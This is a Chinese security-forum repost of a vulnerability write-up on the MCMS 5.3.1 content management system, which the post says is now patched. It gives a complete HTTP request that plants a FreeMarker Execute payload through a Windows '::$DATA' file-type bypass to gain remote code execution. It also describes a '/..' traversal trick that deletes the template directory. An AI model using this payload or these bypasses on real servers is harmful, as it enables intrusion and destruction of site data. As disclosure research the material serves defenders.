安全矩阵

 找回密码
 立即注册
搜索
查看: 847|回复: 0

MCMS 5.3.1 模板注入挖掘

[复制链接]

215

主题

215

帖子

701

积分

高级会员

Rank: 4

积分
701
发表于 2023-9-9 10:52:33 | 显示全部楼层 |阅读模式
本帖最后由 alyssa 于 2023-9-9 10:55 编辑

1. 前言
本篇中版本为5.3.1 在提交后已经修复
新版已修复且下载地址如下:https://gitee.com/mingSoft/MCMS
2. freeMark模板注入挖掘
在系统设置--模板管理中,可以对文件进行修改

这里以本机Windows为例,通过抓包得知
为net.mingsoft.basic.action#writeFileContent方法

首先会判断传入的文件是否存在,稍后会进行文件后缀的判断

跟进checkFileType,可以发现会对传入的FileName进行判断,如果为以下后缀则上传失败

因为前期发现整合了freeMark,所以直接写入到WEB-INF/manager/cms/目录下的ftl文件即可

直接写入即可:
  1. POST /ms/basic/template/writeFileContent.do HTTP/1.1
  2. Host: 192.168.1.6:8080
  3. User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0
  4. Accept: application/json, text/plain, */*
  5. Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
  6. Accept-Encoding: gzip, deflate
  7. Content-Type: application/x-www-form-urlencoded
  8. X-Requested-With: XMLHttpRequest
  9. Cache-Control: no-cache
  10. Pragma: no-cache
  11. token: null
  12. Content-Length: 288
  13. Origin: <a href="http://192.168.1.6:8080" target="_blank">http://192.168.1.6:8080</a>
  14. Connection: close
  15. Referer: <a href="http://192.168.1.6:8080/ms/basic/template/list.do?template=1/default" target="_blank">http://192.168.1.6:8080/ms/basic ... ?template=1/default</a>
  16. Cookie: SHIRO_SESSION_ID=1048399f-60a2-4a05-8112-5030a61e69c4; pageno_cookie=1; rememberMe=tUQsvtRus4pdsS5hhhcZRj6w7Kt4QX17kHT57OhAd6YsO44CQrPJRMSTkFg2hdQpkyGItXEbBW85nr5Mb4lQHu/j5crBNIlPDUHvgxi21TAZ/jTHurUXETl+1yRtN2ZEyjAWh/d9pIDydDQjJfbKXr6Uf6t8wD4nYKoiYkAUAs2AZo2PsGk5R0q0x6YNhOetflg8laT6ethhboMIX3SzYLXdVWyzCCM1gmyV9/FTAi02l6gIkrr9Z6ebtmbrtlVAm8rY0vrjJ+Y5Of3k5DJNCkFn/3BWsIS1A/pEqQcs13arYY3cFaf5RNybDiueJpAClViuPdUcNxr/f4AooQgrZiRvjucdfnjw7ml55gvMgddxR5Gx1L8enuTgv2xbpdUxoohUSQOMXHDfex91Qr0s49YTB9yF1j+MTgXcLyiJ8hbj+yMnQzX9QG3tyLLrIVShVz1gdFBFWfxM8BaCa07ZNJ+p49dsy0ntlW2GeEyh7XXQ+P2go3S6B5q2aIIxedfFtj76QnlLlw7XGGvK+uCc+eyhFxdNRBMT55nWieUpEGWSO54dmSrUNn2KqhRQWVt5XyEP2Nw2XSsvWArxg5/fjqIwekHNlXQyyjb/MyvqA22xj4G4P7wFRgf6mcAzv651dOwBKDe1O/8xCiKJdvLMC8Ecl9/J8O49vBEFuQ0UwHNLUoMciO+UfqZr1MVSG7lPAiLE8hJ+GC7l84wptE5p6ahdRcyBb4e1uoa9Ohg5C3eYKUqnMGyD3KOsYySKn7uaiOuWapERuqRc8d2jSQiT4wntiemnB0BZ+7ynsNKMWIHKbZv3oYCX4YtDROPMGovetW1L6LOC9eJ6UqxiI+LUXck53hUyYrE57OvKd8MNxJGvAsAeR6WoaglTbqaXlGsXQuGv4ArApkyt+UBOGU8Wx3zjh0lcHkivVHzekB4DsJflXPZ9L+hxyzSQet3ZzuXC/aWlEpwkxJRCE71gyj0tAKfB97mKOTNWKtuj1XuBsumKyUalE5qMUmi1Mf0qQQYGgvnYwdklu/XIZ3GsaBakIg+zYlGlac1xC5EN63i6Eml5AK/DhnulHu6jkRRysFuYorzVYr7KLIldPTHkDuG+epimts1bpykjEYXWHLKKjzrHo6rSaKU8N421wvmHtW+uUoumnDjOzAS2kiwikgR5rSrwIs0iZkxs66JfohDAOuGFxi0mKbpqGhigj+LIn6xeWmdpJb30Bo8Hdfi14kohySASILzT/peKk+scpmA5IVER1Ih/e1zqZdDJigs1m4mLoCTmb8SiyqQCE1g3CI2Ar4rK1oOerMgn6lB4yUabjyFay0ps07HEWYl3sXRJ4q1bXEqNFOrjhbvNLkc=

  17. fileName=%57%45%42%2d%49%4e%46%5c%6d%61%6e%61%67%65%72%5c%63%6d%73%5c%63%6f%6e%74%65%6e%74%5c%66%6f%72%6d%2e%66%74%6c%3a%3a%24%44%41%54%41&name=about.htm&fileNamePrefix=template%5C1%2F%5Cdefault%5C&fileContent=%24%7B%22freemarker.template.utility.Execute%22%3Fnew%28%29%28%22calc%22%29%7D
复制代码

( 在window的时候如果文件名+":: $DATA"会把:: $DATA之后的数据当成文件流处理,不会检测后缀名,且保持:: $DATA之前的文件名,其实和空格绕过点绕过类似)
fileName=WEB-INF\manager\cms\content\form.ftl:: $DATA&name=about.htm&fileNamePrefix=template\1/\default\&fileContent=${"freemarker.template.utility.Execute"?new()("calc")}
这里我写入的是content\form.ftl文件。

接下来直接找action即可。利用action转发到form页面即可
位置在net.mingsoft.cms.action#form方法


http://192.168.1.6:8080/ms/cms/content/form (这里是热部署,实时更新)
直接rce~
3. 跨目录文件删除
登录后台后,在系统设置--模板管理可以删除文件。而只能删除default目录

当前default路径如下,可以看到在template目录下方。而template有很多其它模板文件

在net.mingsoft.basic.action#delete方法中,可以看到回怼传入的fileName进行判断。如果是../或者..\ 则跑到247行的error处

所以有一个很好的绕过思路/..来绕过

接下来可以看到template目录下的模板文件全部被删除了。

提交该数据包之后,path如下,这里就会将template模板目录全部删除
来源:【https://xz.aliyun.com/】,感谢【[color=rgba(0, 0, 0, 0.45)]Met32

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-11-28 09:33 , Processed in 0.013138 second(s), 19 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表